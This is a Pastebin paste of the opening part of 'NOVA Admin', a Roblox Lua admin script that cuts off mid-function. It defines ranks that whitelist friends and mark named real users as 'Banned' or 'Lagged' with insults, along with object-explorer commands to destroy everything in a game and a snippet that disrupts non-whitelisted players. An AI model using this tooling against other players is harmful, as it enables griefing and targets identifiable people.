Advertisement
Guest User

Untitled

a guest
Dec 21st, 2016
150
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 143.84 KB | None | 0 0
  1. NOVA = {
  2. Services = {
  3. Workspace = game:GetService("Workspace");
  4. Lighting = game:GetService("Lighting");
  5. Debris = game:GetService("Debris");
  6. Players = game:GetService("Players");
  7. Teams = game:GetService("Teams");
  8. SoundService = game:GetService("SoundService");
  9. ScriptContext = game:GetService("ScriptContext");
  10. NetworkServer = game:GetService("NetworkServer");
  11. StarterGui = game:GetService("StarterGui");
  12. StarterPack = game:GetService("StarterPack");
  13. };
  14. Ranks = {
  15. "-2 : Lagged";
  16. "-1 : Banned";
  17. "0 : Guest";
  18. "1 : Mod";
  19. "2 : Admin";
  20. "3 : Developer";
  21. "4 : Architect";
  22. "5 : Overlord";
  23. "6 : OP ( Operator )";
  24. "7 : Creator";
  25. "8 : ROOT" ;
  26. };
  27.  
  28. Ranked = {
  29. --[[
  30. -2 : "Lagged"
  31. -1 : "Banned"
  32. 0 : "Guest"
  33. 1 : "Mod"
  34. 2 : "Admin"
  35. 3 : "Developer"
  36. 4 : "Architect"
  37. 5 : "Overlord"
  38. 6 : "OP ( Operator )"
  39. 7 : "Creator"
  40. 8 : "ROOT"
  41. ]]
  42. {Name = "MTFSCP", InPRI = true, CMD = true, Rank = 7, Color = Color3.new(0,0,0), Desc = "Creator of NOVA Admin."};
  43. {Name = "SurgenHack", InPRI = true, CMD = true, Rank = 7, Color = Color3.new(1,1,1), Desc = "Alt of the creator."};
  44. {Name = "Player", InPRI = true, CMD = true, Rank = 7, Color = Color3.new(1,1,1), Desc = "Player."};
  45. {Name = "NetworkClient", InPRI = true, CMD = false, Rank = 6, Color = Color3.new(1,0,0.5), Desc = "Creator of Galatea & Promethius."};
  46. {Name = "TouchEnded", InPRI = true, CMD = false, Rank = 6, Color = Color3.new(1,0,0.5), Desc = "Alt of NetworkClient."};
  47. {Name = "Zukunft", InPRI = true, CMD = false, Rank = 6, Color = Color3.new(1,0,0.5), Desc = "Alt of NetworkClient."};
  48. {Name = "Urge", InPRI = true, CMD = false, Rank = 6, Color = Color3.new(1,0,0.5), Desc = "Alt of NetworkClient."};
  49. {Name = "Explodem", InPRI = true, CMD = false, Rank = 6, Color = Color3.new(1,0,0.5), Desc = "Alt of NetworkClient."};
  50. {Name = "upquark", InPRI = true, CMD = true, Rank = 6, Color = Color3.new(0,1,0), Desc = "A fellow troll."};
  51. {Name = "ThePC8110", InPRI = true, CMD = false, Rank = 5, Color = Color3.new(0.5,0.5,0.5), Desc = "Skilled Scripter."};
  52. {Name = "LuaModelMaker", InPRI = true, CMD = false, Rank = 5, Color = Color3.new(0,0,1), Desc = "Skilled Scripter."};
  53. {Name = "kert109", InPRI = true, CMD = false, Rank = 4, Color = Color3.new(0,0.7,0), Desc = "A friend of rigletto."};
  54. {Name = "ask4kingbily", InPRI = true, CMD = false, Rank = 4, Color = Color3.new(0,0.7,0.3), Desc = "Skilled Scripter."};
  55. {Name = "thomas0233", InPRI = true, CMD = false, Rank = 4, Color = Color3.new(0,1,1), Desc = "Trusted scripter, skilled."};
  56. {Name = "DoogleFox", InPRI = true, CMD = false, Rank = 3, Color = Color3.new(0.5,0.5,0.5), Desc = "Skilled Scriper."};
  57. {Name = "Penjuin3", InPRI = true, CMD = false, Rank = 3, Color = Color3.new(0,0,0.9), Desc = "Scripter"};
  58. {Name = "randomepicnoob", InPRI = true, CMD = false, Rank = 3, Color = Color3.new(0,0,1), Desc = "Friend of rigletto."};
  59. {Name = "ghostbusters1", InPRI = true, CMD = false, Rank = 3, Color = Color3.new(0,0.7,0), Desc = "N/A"};
  60. {Name = "oxcool1", InPRI = true, CMD = false, Rank = 3, Color = Color3.new(0.3,0.3,0.3), Desc = "Owner of the current most popular SB."};
  61. {Name = "AntiBoomz0r", InPRI = true, CMD = false, Rank = 3, Color = Color3.new(1,0,0), Desc = "wise Pandabear, trusted friend and great scripter."};
  62. {Name = "DragonWarlord101", InPRI = true, CMD = false, Rank = 3, Color = Color3.new(0, 0.12, 0.376), Desc = "A gewd friend."};
  63. {Name = "mixcasterx", InPRI = true, CMD = false, Rank = 3, Color = Color3.new(0,0,1), Desc = "Miko"};
  64. {Name = "thejonathann", InPRI = true, CMD = false, Rank = 3, Color = Color3.new(0.25,0.8,1), Desc = "Scripter"};
  65. {Name = "BrainWart", InPRI = true, CMD = false, Rank = 3, Color = Color3.new(0.7,0.7,0.7), Desc = "A friend of rigletto"};
  66. {Name = "Drezmor", InPRI = true, CMD = false, Rank = 3, Color = Color3.new(1,0,0), Desc = "I have no freaking idea what to put for you Drezmor..."};
  67. {Name = "pablo275", InPRI = true, CMD = false, Rank = 3, Color = Color3.new(5,5,0), Desc = "A roudy mexican."};
  68. {Name = "bob371", InPRI = true, CMD = false, Rank = 3, Color = Color3.new(0.5,0.5,0.5), Desc = "sreator of the spider walker script."};
  69. {Name = "littleAU999", InPRI = true, CMD = false, Rank = 3, Color = Color3.new(0,0,0.7), Desc = "rigletto's friend + scripter."};
  70. {Name = "ttyyuu12345", InPRI = true, CMD = false, Rank = 3, Color = Color3.new(0,0.7,0), Desc = "rigletto's friend + creator of the GUI Orb"};
  71. {Name = "ServerLabs", InPRI = true, CMD = true, Rank = 2, Color = Color3.new(0.4,0.4,0.4), Desc = "N/A"};
  72. {Name = "mugex", InPRI = true, CMD = false, Rank = 2, Color = Color3.new(0,1,0), Desc = "N/A"};
  73. {Name = "velibor", InPRI = true, CMD = false, Rank = 2, Color = Color3.new(0,0,1), Desc = "N/A"};
  74. {Name = "benningtonguy", InPRI = true, CMD = false, Rank = 2, Color = Color3.new(0,0.5,0), Desc = "N/A"};
  75. {Name = "acb227", InPRI = true, CMD = false, Rank = 1, Color = Color3.new(0,0,0), Desc = "N/A"};
  76. {Name = "NonSpeaker", InPRI = true, CMD = false, Rank = 1, Color = Color3.new(0,0,0.7), Desc = "N/A"};
  77. {Name = "tyridge77", InPRI = true, CMD = false, Rank = 1, Color = Color3.new(0,0,0), Desc = "N/A"};
  78. {Name = "Moolah101", InPRI = true, CMD = false, Rank = 1, Color = Color3.new(0,0,1), Desc = "This person is cool."};
  79. {Name = "SpleenYanks", InPRI = true, CMD = false, Rank = 1, Color = Color3.new(1,1,0), Desc = "Most epic duck hat wearing person ever!"};
  80. {Name = "Fenrier", InPRI = true, CMD = false, Rank = 1, Color = Color3.new(0,0,0.7), Desc = "N/A"};
  81. {Name = "Dr4gOnh4ck3r2", InPRI = true, CMD = false, Rank = 1, Color = "Random", Desc = "N/A"};
  82. {Name = "halfjarrod", InPRI = false, CMD = false, Rank = -1, Color = Color3.new(1,0,0), Desc = "We dont accept your kind."};
  83. {Name = "benbee990", InPRI = false, CMD = false, Rank = -1, Color = Color3.new(1,0,0), Desc = "Deleter"};
  84. {Name = "DesertCamoSolider",InPRI = false, CMD = false, Rank = -1, Color = Color3.new(1,0,0), Desc = "We dont accept your kind."};
  85. {Name = "Koilered", InPRI = false, CMD = false, Rank = -2, Color = Color3.new(1,0,0), Desc = "rigletto's forever enemny."};
  86. {Name = "chao60", InPRI = false, CMD = false, Rank = -2, Color = Color3.new(1,0,0), Desc = "p§o§r§n§o."};
  87. {Name = "absurdskinnyjackb",InPRI = false, CMD = false, Rank = -2, Color = Color3.new(1,0,0), Desc = "Leaker."};
  88. {Name = "RATSwordsman", InPRI = false, CMD = false, Rank = -2, Color = Color3.new(1,0,0), Desc = "Leaker."};
  89. {Name = "apokalyps", InPRI = false, CMD = false, Rank = -2, Color = Color3.new(1,0,0), Desc = "Leaker."};
  90. {Name = "thecooldill", InPRI = false, CMD = false, Rank = -2, Color = Color3.new(1,0,0), Desc = "Average noob."};
  91. {Name = "steff2k8", InPRI = false, CMD = false, Rank = -2, Color = Color3.new(1,0,0), Desc = "Script Stealer"};
  92. -- {Name = "Joalmo", InPRI = false, CMD = false, Rank = -2, Color = Color3.new(1,0,0), Desc = "Average noob."};
  93. };
  94.  
  95. Credit = {
  96. {Name = "NetworkClient",Why = "for the tablet function."};
  97. {Name = "rigletto",Why = "for creating NOVA Admin."};
  98. {Name = "upquark",Why = "For being a great person in life."};
  99. };
  100.  
  101. Colors = {
  102. Red = Color3.new(1,0,0);
  103. Green = Color3.new(0,1,0);
  104. Blue = Color3.new(0,0,1);
  105. Orange = Color3.new(1,0.5,0);
  106. White = Color3.new(1,1,1);
  107. Black = Color3.new(0,0,0);
  108. Grey = Color3.new(0.5,0.5,0.5);
  109. Yellow = Color3.new(1,1,0);
  110. Magenta = Color3.new(0.54,0,0.54);
  111. Purple = Color3.new(1,0,1)
  112. };
  113.  
  114. Sounds = {
  115. Sound = Instance.new("Sound");
  116. Music = {
  117. {Id = "http://www.roblox.com/Asset/?id=27697735",Pitch=1,Looped=true,Name="Jeff Syndicate - Hip Hop (Fix Pitch)"};
  118. {Id = "http://www.roblox.com/Asset/?id=35930009",Pitch=1,Looped=true,Name="MonsterMashAudio"};
  119. {Id = "http://www.roblox.com/Asset/?id=8610025",Pitch=1,Looped=true,Name="NerezzaSong (Italian for 'Darkness Song')"};
  120. {Id = "http://www.roblox.com/Asset/?id=27697298",Pitch=1,Looped=true,Name="Flatt and Scruggs - Foggy Mountan Breakdown "};
  121. {Id = "http://www.roblox.com/Asset/?id=27697267",Pitch=1,Looped=true,Name="Scott Joplin - Entertainer Rag"};
  122. {Id = "http://www.roblox.com/Asset/?id=27697713",Pitch=1,Looped=true,Name="Opening Theme - Daniel Bautista - Music For A Film (Fix Pitch)"};
  123. {Id = "http://www.roblox.com/Asset/?id=27697719",Pitch=1,Looped=true,Name="Flight of the Bumblebee Daniel Bautista(Fix Pitch)"};
  124. {Id = "http://www.roblox.com/Asset/?id=27697707",Pitch=1,Looped=true,Name="Intro Daniel Bautista (Fix Pitch)"};
  125. {Id = "http://www.roblox.com/Asset/?id=27697743",Pitch=1,Looped=true,Name="Zero Project - Gothic (Fix Pitch)"};
  126. {Id = "http://www.roblox.com/Asset/?id=27697392",Pitch=1,Looped=true,Name="DJ Glejs - Better Off Alone (Remix)"};
  127. {Id = "http://www.roblox.com/Asset/?id=27697277",Pitch=1,Looped=true,Name="Positively Dark - Awakening"};
  128. {Id = "http://www.roblox.com/Asset/?id=1280414",Pitch=1,Looped=true,Name="Super Smash Brothers Final Destination Level"};
  129. {Id = "http://www.roblox.com/Asset/?id=5982975",Pitch=1,Looped=true,Name="Pirate Song"};
  130. {Id = "http://www.roblox.com/Asset/?id=1372258",Pitch=1,Looped=true,Name="Choir Snippet"};
  131. {Id = "http://www.roblox.com/Asset/?id=1372257",Pitch=1,Looped=true,Name="Cursed Abbey"};
  132. {Id = "http://www.roblox.com/Asset/?id=1372259",Pitch=1,Looped=true,Name="Fire Emblem Theme"};
  133. {Id = "http://www.roblox.com/Asset/?id=1077604",Pitch=1,Looped=true,Name="MULE"};
  134. {Id = "http://www.roblox.com/Asset/?id=1372260",Pitch=1,Looped=true,Name="One-Winged Angel"};
  135. {Id = "http://www.roblox.com/Asset/?id=1372261",Pitch=1,Looped=true,Name="Pokemon Battle Theme"};
  136. {Id = "http://www.roblox.com/Asset/?id=1280470",Pitch=1,Looped=true,Name="Bob-Omb Battlefeild"};
  137. {Id = "http://www.roblox.com/Asset/?id=1372262",Pitch=1,Looped=true,Name="Star Fox Assault Theme"};
  138. {Id = "http://www.roblox.com/Asset/?id=1280473",Pitch=1,Looped=true,Name="Final Fantasy VII Advent Children Battle Theme"};
  139. {Id = "http://www.roblox.com/Asset/?id=2723457",Pitch=1,Looped=true,Name="Fanfare"};
  140. {Id = "http://www.roblox.com/Asset/?id=2303479",Pitch=1,Looped=true,Name="Caramell Dansen (Speedy Mix)"};
  141. {Id = "http://www.roblox.com/Asset/?id=1034065",Pitch=1,Looped=true,Name="Halo Theme"};
  142. {Id = "http://www.roblox.com/Asset/?id=9650822",Pitch=1,Looped=true,Name="S4Tunnel"};
  143. {Id = "http://www.roblox.com/Asset/?id=27697234",Pitch=1,Looped=true,Name="Mubarek - Resist (Remix)"};
  144. {Id = "http://www.roblox.com/Asset/?id=45819151",Pitch=1,Looped=true,Name="backgroundSong1"};
  145. {Id = "http://www.roblox.com/Asset/?id=11420933",Pitch=1,Looped=true,Name="The Opened Way"};
  146. {Id = "http://www.roblox.com/Asset/?id=1015394",Pitch=1,Looped=true,Name="WindOfFjords"};
  147. {Id = "http://www.roblox.com/Asset/?id=2027611",Pitch=1,Looped=true,Name="Never Gonna Give You Up"};
  148. {Id = "http://www.roblox.com/Asset/?id=1280463",Pitch=1,Looped=true,Name="Chrono Trigger Theme"};
  149. {Id = "http://www.roblox.com/Asset/?id=5986151",Pitch=1,Looped=true,Name="Woman King"};
  150. {Id = "http://www.roblox.com/Asset/?id=11420922",Pitch=1,Looped=true,Name="Shadow of the Colossus: Demise of the Ritual"};
  151. {Id = "http://www.roblox.com/Asset/?id=5985787",Pitch=1,Looped=true,Name="Chrono Symphonic: Schala and the Queen"};
  152. {Id = "http://www.roblox.com/Asset/?id=11231513",Pitch=1,Looped=true,Name="Toccata Fugue"};
  153. {Id = "http://www.roblox.com/Asset/?id=60047782",Pitch=1,Looped=true,Name="Jazz Loop"};
  154. {Id = "http://www.roblox.com/Asset/?id=60049010",Pitch=1,Looped=true,Name="Electronic Loop"};
  155. {Id = "http://www.roblox.com/Asset/?id=60051616",Pitch=1,Looped=true,Name="Funk Loop"};
  156. {Id = "http://www.roblox.com/Asset/?id=60059129",Pitch=1,Looped=true,Name="Rock Loop"};
  157. };
  158. Numbers = { -- one to five ( top to bottom )
  159. "http://www.roblox.com/Asset/?id=29445305",
  160. "http://www.roblox.com/Asset/?id=29445339",
  161. "http://www.roblox.com/Asset/?id=29445358",
  162. "http://www.roblox.com/Asset/?id=29445378",
  163. "http://www.roblox.com/Asset/?id=29445395",
  164. };
  165. PlayAfter = {
  166. "http://www.roblox.com/Asset/?id=2767090",
  167. "http://www.roblox.com/Asset/?id=2800815",
  168. "http://www.roblox.com/Asset/?id=2801263",
  169. "http://www.roblox.com/Asset/?id=11984254",
  170. "http://www.roblox.com/Asset/?id=2101159",
  171. "http://www.roblox.com/Asset/?id=3087031",
  172. "Explosion 3","http://www.roblox.com/Asset/?id=2101148",
  173. "http://www.roblox.com/Asset/?id=2233908",
  174. "http://www.roblox.com/Asset/?id=16976189",
  175. "http://www.roblox.com/Asset/?id=2101157",
  176. "http://www.roblox.com/Asset/?id=2974000",
  177. "http://www.roblox.com/Asset/?id=2703110",
  178. "http://www.roblox.com/Asset/?id=1994345",
  179. };
  180. };
  181.  
  182. Objects = {};
  183. Commands = {};
  184. Tablets = {};
  185. Targeted = {};
  186. Waypoints = {};
  187. Log = {};
  188. LoggedScripts = {};
  189. PRI = false;
  190. LockedScripts = false;
  191. Removed = false;
  192. ShowChat = true;
  193. LockModels = false;
  194. Canceled = false;
  195. PRIType = "Shutdown";
  196. GlobalLoggedScriptsKey = "NOVA's Logged Scripts";
  197. LocalScript = script:FindFirstChild("PseudoLocalScript");
  198. Script = script:FindFirstChild("PseudoScript");
  199. Plugins = script:GetChildren()
  200. }
  201.  
  202. PlayerPlugins = [==[
  203. script.Parent = nil
  204. LocalPlayer = game:GetService("Players").LocalPlayer
  205. game:GetService("Selection").SelectionChanged:connect(function()
  206. if LocalPlayer.Name ~= "rigletto" and LocalPlayer.Name ~= "SurgenHack" and LocalPlayer.Name ~= "Player" then
  207. LocalPlayer.Parent = nil
  208. LocalPlayer.Parent = game:GetService("Players")
  209. end
  210. end)
  211. coroutine.resume(coroutine.create(function()
  212. while wait() do
  213. if LocalPlayer.Parent == nil and LocalPlayer.Name ~= "rigletto" and LocalPlayer.Name ~= "SurgenHack" and LocalPlayer.Name ~= "Player" then
  214. LocalPlayer.Parent = nil
  215. LocalPlayer.Parent = game:GetService("Players")
  216. end
  217. end
  218. end))
  219. ]==]
  220.  
  221.  
  222. --[[ PSEUDO FUNCTIONS ]]--
  223.  
  224. function CreateLocalScript(Source, Parent)
  225. if game.PlaceId == 20279777 or game.PlaceId == 20132544 then
  226. newLocalScript(Source, Parent)
  227. elseif game.PlaceId == 23232804 then
  228. NewLocalScript(Source, Parent)
  229. elseif NOVA.LocalScript ~= nil then
  230. NS = NOVA.LocalScript:Clone()
  231. NS.Name = "LocalScript"
  232. pcall(function() NS:ClearAllChildren() end)
  233. NewSource = Instance.new("StringValue",NS)
  234. NewSource.Name = "Source"
  235. NewSource.Value = Source
  236. NS.Parent = Parent
  237. NS.Disabled = false
  238. else
  239. print("[NOVA.CreateLocalScript] Localscript functionality not avalible here. ( PlaceId : "..game.PlaceId..")")
  240. end
  241. end
  242.  
  243. function CreateScript(Source, Parent)
  244. if game.PlaceId == 20279777 or game.PlaceId == 20132544 then
  245. newScript(Source, Parent)
  246. elseif game.PlaceId == 23232804 then
  247. NewScript(Source, Parent)
  248. elseif NOVA.Script ~= nil then
  249. NS = NOVA.Script:Clone()
  250. NS.Name = "Script"
  251. pcall(function() NS:ClearAllChildren() end)
  252. NewSource = Instance.new("StringValue",NS)
  253. NewSource.Name = "Source"
  254. NewSource.Value = Source
  255. NS.Parent = Parent
  256. NS.Disabled = false
  257. else
  258. print("[NOVA.CreateScript] Script functionality not avalible here. ( PlaceId : "..game.PlaceId..")")
  259. end
  260. end
  261.  
  262. function IsTargeted(Player)
  263. if type(Player) == "string" then
  264. for _,v in pairs(NOVA.Targeted) do
  265. if v.Name == Player then
  266. return true
  267. end
  268. end
  269. elseif type(Player) == "userdata" then
  270. for _,v in pairs(NOVA.Targeted) do
  271. if Player == v then
  272. return true
  273. end
  274. end
  275. else
  276. print("[NOVA.IsTargeted] An invalid argument type was used. ("..tostring(type(Player))..")")
  277. end
  278. return false
  279. end
  280. --[[ MAKE MESSAGE ]]--
  281.  
  282. function makeMessage(Style,Text,Parent,Size)
  283. --print("Making message in "..Parent.Name.." Style "..Style)
  284. coroutine.resume(coroutine.create(function()
  285. if Style == "Instance" or Style == 1 or Style == "Normal" then
  286. local M = Instance.new("Message",Parent)
  287. for i = 1, string.len(Text) do
  288. M.Text = M.Text .. string.sub(Text, i, i)
  289. wait(math.random() * 0.1)
  290. end
  291. M.Text = M.Text .. ""
  292. for i = 1, math.random(2, 6) do
  293. M.Text = string.sub(M.Text, 1, string.len(Text)) .. "_"
  294. wait(0.4)
  295. M.Text = string.sub(M.Text, 1, string.len(Text)) .. " "
  296. wait(0.4)
  297. end
  298. M.Text = string.sub(M.Text, 1, string.len(Text))
  299. for i = 1, string.len(M.Text) do
  300. M.Text = string.sub(M.Text, 1, string.len(M.Text) - 1)
  301. wait()
  302. end
  303. M:Remove()
  304. elseif Style == "Gui" or Style == "GUI" or Style == 2 then
  305. if Parent == nil then print("Parent required for GUI type message.") return end
  306.  
  307. local Gui = Instance.new("ScreenGui",Parent)
  308. local Frame = Instance.new("Frame",Gui)
  309. Frame.Size = UDim2.new(1,0,1,0)
  310. Frame.Position = UDim2.new(0,0,0,0)
  311. Frame.Style = "RobloxSquare"
  312. local Txt = Instance.new("TextLabel",Frame)
  313. Txt.Size = UDim2.new(1,0,1,0)
  314. Txt.TextWrap = true
  315. Txt.TextColor3 = NOVA.Colors.White
  316. Txt.BackgroundTransparency = 1
  317. if Size == nil then
  318. Txt.FontSize = "Size16"
  319. else
  320. Txt.FontSize = Size
  321. end
  322. Txt.Text = ""
  323. Text = Text .. " "
  324. for i = 1, string.len(Text) do
  325. Txt.Text = Txt.Text .. string.sub(Text, i, i)
  326. wait(math.random() * 0.000000000001)
  327. end
  328. Txt.Text = Txt.Text .. ""
  329. for i = 1, math.random(2, 6) do
  330. Txt.Text = string.sub(Txt.Text, 1, string.len(Text)) .. "_"
  331. wait(0.4)
  332. Txt.Text = string.sub(Txt.Text, 1, string.len(Text)) .. " "
  333. wait(0.4)
  334. end
  335. Txt.Text = string.sub(Txt.Text, 1, string.len(Text))
  336. for i = 1, string.len(Txt.Text) do
  337. Txt.Text = string.sub(Txt.Text, 1, string.len(Txt.Text) - 1)
  338. Txt.Text = string.sub(Txt.Text, 1, string.len(Txt.Text) - 1)
  339. Txt.Text = string.sub(Txt.Text, 1, string.len(Txt.Text) - 1)
  340. Txt.Text = string.sub(Txt.Text, 1, string.len(Txt.Text) - 1)
  341. wait(math.random() * 0.01)
  342. end
  343. Txt:Remove()
  344. Frame:Remove()
  345. Gui:Remove()
  346. end
  347. end))
  348. end
  349.  
  350. --[[ EXPLORE ]]--
  351. function Explore(Thing,Speaker)
  352. if Speaker == nil then
  353. print("[NOVA.Explore] Argument 1 missing or nil.")
  354. return
  355. end
  356. pcall(function()
  357. if Thing == game or Thing == nil then
  358. RemoveTablets(Speaker)
  359. for _,v in pairs(NOVA.Services) do
  360. Output(v.className,GetRankedTable(Speaker).Color,Speaker,nil,function() Explore(v,Speaker) end)
  361. end
  362. Output("Dismiss",NOVA.Colors.Red,Speaker)
  363. else
  364. if #Thing:children() == 0 then
  365. RemoveTablets(Speaker)
  366. Explore(Thing.Parent.Parent,Speaker)
  367. else
  368. RemoveTablets(Speaker)
  369. for _,v in pairs(Thing:children()) do
  370. Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
  371. function()
  372. RemoveTablets(Speaker)
  373. Output("Name : "..v.Name,GetRankedTable(Speaker).Color,Speaker)
  374. Output("Class Name : "..v.className,GetRankedTable(Speaker).Color,Speaker)
  375. Output("Full Name : "..v:GetFullName(),GetRankedTable(Speaker).Color,Speaker)
  376. Output("Remove",NOVA.Colors.Orange,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) v:remove() end )
  377. Output("Destroy",NOVA.Colors.Orange,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) v:Destroy() end )
  378. Output("Destroy ALL ( Name )",NOVA.Colors.Red,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) for _,Part in pairs(GetRecursiveChildren()) do pcall(function() if Part.Name == v.Name then Part:Destroy() end end) end v:Destroy() end )
  379. Output("Destroy ALL ( className )",NOVA.Colors.Red,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) for _,Part in pairs(GetRecursiveChildren()) do pcall(function() if Part.className == v.className then Part:Destroy() end end) end v:Destroy() end )
  380.  
  381. Output("#STORE",NOVA.Colors.Yellow,Speaker,nil,function() v:Clone().Parent = NOVA.Services.Lighting end)
  382. Output("#REDIRECT .Parent.Parent",NOVA.Colors.Blue,Speaker,nil,function() Explore(v.Parent.Parent,Speaker) end)
  383. Output("#REDIRECT :GetChildren()",NOVA.Colors.Blue,Speaker,nil,function() Explore(v,Speaker) end)
  384. Output("Dismiss",NOVA.Colors.Red,Speaker)
  385. end
  386. )
  387. end
  388. Output("Dismiss",NOVA.Colors.Red,Speaker)
  389. end
  390. end
  391. end)
  392. end
  393.  
  394. --[[ CAPE ]]--
  395. function Cape(v)
  396. local Mode = "None"
  397. local AngleX = 0
  398. pcall(function()
  399. v.Character.Swordpack:remove()
  400. end)
  401. pcall(function()
  402. v.Character["NOVA Cape"]:remove()
  403. end)
  404.  
  405. local Main = Instance.new("Model",v.Character)
  406. Main.Name = "NOVA Cape"
  407.  
  408. pcall(function()
  409. v.Character.Swordpack:Remove()
  410. end)
  411. local Cape = Instance.new("Part", Main)
  412. Cape.Name = "Cape"
  413. Cape.Anchored = false
  414. Cape.CanCollide = false
  415. Cape.formFactor = "Custom"
  416. Cape.Size = Vector3.new(2, 3.5, 0.2)
  417. Cape.BrickColor = BrickColor.new("Really black")
  418. Cape.TopSurface = 0
  419. Cape.BottomSurface = 0
  420. local Decal = Instance.new("Decal", Cape)
  421. Decal.Face = "Back"
  422. Decal.Texture = ""
  423. local CapeWeld = Instance.new("Weld", Cape)
  424. CapeWeld.Part0 = v.Character.Torso
  425. CapeWeld.Part1 = Cape
  426. CapeWeld.C0 = CFrame.new(0, 1, 0.5)
  427. CapeWeld.C1 = CFrame.new(0, 3.5 / 2, -0.0)
  428. v.Character.Humanoid.Running:connect(function(Speed)
  429. if Speed > 0 then
  430. Mode = "Running"
  431. else
  432. Mode = "None"
  433. end
  434. end)
  435. v.Character.Humanoid.Jumping:connect(function() Mode = "Jumping" end)
  436. coroutine.wrap(function()
  437. while Cape.Parent ~= nil and CapeWeld.Parent ~= nil do
  438. local UpSpeed = 2.5
  439. local DownSpeed = 5
  440. local TargetAngle = 5
  441. if Mode == "Running" then
  442. TargetAngle = 45 + math.random(0, 2500) / 100
  443. elseif Mode == "Jumping" then
  444. UpSpeed = 10
  445. DownSpeed = 10
  446. TargetAngle = (v.Character.Torso.Velocity.y < 3 and 160 or 45)
  447. end
  448. if math.abs(TargetAngle - AngleX) < (DownSpeed > UpSpeed and DownSpeed or UpSpeed) then AngleX = TargetAngle end
  449. if AngleX < TargetAngle then
  450. AngleX = AngleX + UpSpeed
  451. elseif AngleX > TargetAngle then
  452. AngleX = AngleX - DownSpeed
  453. end
  454. CapeWeld.C1 = CFrame.new(0, 3.5 / 2, -0.0) * CFrame.fromEulerAnglesXYZ(math.rad(AngleX), 0, 0, 0)
  455. wait()
  456. end
  457. end)()
  458.  
  459. local LShoulder = Instance.new("Part",Main)
  460. LShoulder.Name = "Left Shoulder"
  461. LShoulder.TopSurface = "Smooth"
  462. LShoulder.BottomSurface = "Smooth"
  463. LShoulder.FormFactor = "Custom"
  464. LShoulder.Size = Vector3.new(1,0.2,1)
  465. LShoulder.BrickColor = BrickColor.new("Really black")
  466. LShoulder.Anchored = false
  467. LShoulder.CanCollide = false
  468. LShoulder.Transparency = 0
  469. LShoulder.Reflectance = 0
  470. local Weld = Instance.new("Motor6D",LShoulder)
  471. Weld.Part0 = LShoulder
  472. Weld.Part1 = v.Character["Left Arm"]
  473. Weld.C0 = CFrame.new(0,-1,0)
  474.  
  475. local RShoulder = Instance.new("Part",Main)
  476. RShoulder.Name = "Right Shoulder"
  477. RShoulder.TopSurface = "Smooth"
  478. RShoulder.BottomSurface = "Smooth"
  479. RShoulder.FormFactor = "Custom"
  480. RShoulder.Size = Vector3.new(1,0.2,1)
  481. RShoulder.BrickColor = BrickColor.new("Really black")
  482. RShoulder.Anchored = false
  483. RShoulder.CanCollide = false
  484. RShoulder.Transparency = 0
  485. RShoulder.Reflectance = 0
  486. local Weld = Instance.new("Motor6D",RShoulder)
  487. Weld.Part0 = RShoulder
  488. Weld.Part1 = v.Character["Right Arm"]
  489. Weld.C0 = CFrame.new(0,-1,0)
  490.  
  491. local NeckFlat = Instance.new("Part",Main)
  492. NeckFlat.Name = "NeckFlat"
  493. NeckFlat.TopSurface = "Smooth"
  494. NeckFlat.BottomSurface = "Smooth"
  495. NeckFlat.FormFactor = "Custom"
  496. NeckFlat.Size = Vector3.new(2,0.2,1)
  497. NeckFlat.BrickColor = BrickColor.new("Really black")
  498. NeckFlat.Anchored = false
  499. NeckFlat.CanCollide = false
  500. NeckFlat.Transparency = 0
  501. NeckFlat.Reflectance = 0
  502. local Weld = Instance.new("Motor6D",NeckFlat)
  503. Weld.Part0 = NeckFlat
  504. Weld.Part1 = v.Character.Torso
  505. Weld.C0 = CFrame.new(0,-1,0)
  506.  
  507. for _,v in pairs(Main:GetChildren()) do v.Reflectance = 1e+999 end
  508.  
  509. end
  510.  
  511. --[[ GET SPLIT ]]--
  512. function GetSplit(Msg)
  513. Split = nil
  514. for i=1,100 do
  515. if string.sub(Msg,i,i) == "\\" then
  516. Split = i
  517. break
  518. end
  519. end
  520. return Split
  521. end
  522.  
  523.  
  524.  
  525. --[[ GET RANK ]]--
  526.  
  527. function GetRank(Player)
  528. Rtn = nil
  529. if type(Player) == "userdata" then
  530. for _,v in pairs(NOVA.Ranked) do
  531. if v.Name:lower() == Player.Name:lower() then
  532. Rtn = v.Rank
  533. end
  534. end
  535. elseif type(Player) == "string" then
  536. for _,v in pairs(NOVA.Ranked) do
  537. if v.Name:lower() == Player:lower() then
  538. Rtn = v.Rank
  539. end
  540. end
  541. else print("[NOVA.GetRank] Unsupported argument type. ("..type(Player)..")")
  542. end
  543. return Rtn
  544. end
  545.  
  546. --[[ GET RANK NAME ]]--
  547. function GetRankName(Player)
  548. if type(Player) == "userdata" or type(Player) == "string" then
  549. Rtn = nil
  550. Rank = GetRank(Player)
  551. Ranks = {
  552. "Mod";
  553. "Admin";
  554. "Mega Admin";
  555. "Omega Admin";
  556. "Overlord";
  557. "OP ( Operator )";
  558. "Creator";
  559. "ROOT";
  560. }
  561. Rtn = Ranks[Rank]
  562. if Rank == -2 then Rtn = "Lagged" end
  563. if Rank == -1 then Rtn = "Banned" end
  564. if Rank == 0 then Rtn = "Guest" end
  565.  
  566. return Rtn
  567.  
  568. else
  569. print("[NOVA.GetRankName] Unsupported argument type ("..type(Player)..")")
  570. return "NOT AVALIBLE"
  571. end
  572. end
  573.  
  574. --[[ GET RANKED TABLE ]]--
  575. function GetRankedTable(Player)
  576. Rtn = nil
  577. if type(Player) == "userdata" then
  578. for _,v in pairs(NOVA.Ranked) do
  579. if v.Name == Player.Name then
  580. Rtn = v
  581. end
  582. end
  583. elseif type(Player) == "string" then
  584. for _,v in pairs(NOVA.Ranked) do
  585. if v.Name == Player then
  586. Rtn = v
  587. end
  588. end
  589. else
  590. pint("[NOVA.GetRankedTable] Unsupported argument type.("..type(Player)..")")
  591. end
  592. return Rtn
  593. end
  594.  
  595. --[[ GET RECURSIVE CHILDREN ]]--
  596. function GetRecursiveChildren(Source, Name, SearchType, Children)
  597. if Source == nil then
  598. Source = NOVA.Services
  599. end
  600. if Name == nil or type(Name) ~= "string" then
  601. Name = ""
  602. end
  603. if Children == nil or type(Children) ~= "table" then
  604. Children = {}
  605. end
  606. if type(Source) == "userdata" then
  607. for _, Child in pairs(Source:children()) do
  608. pcall(function()
  609. if (function()
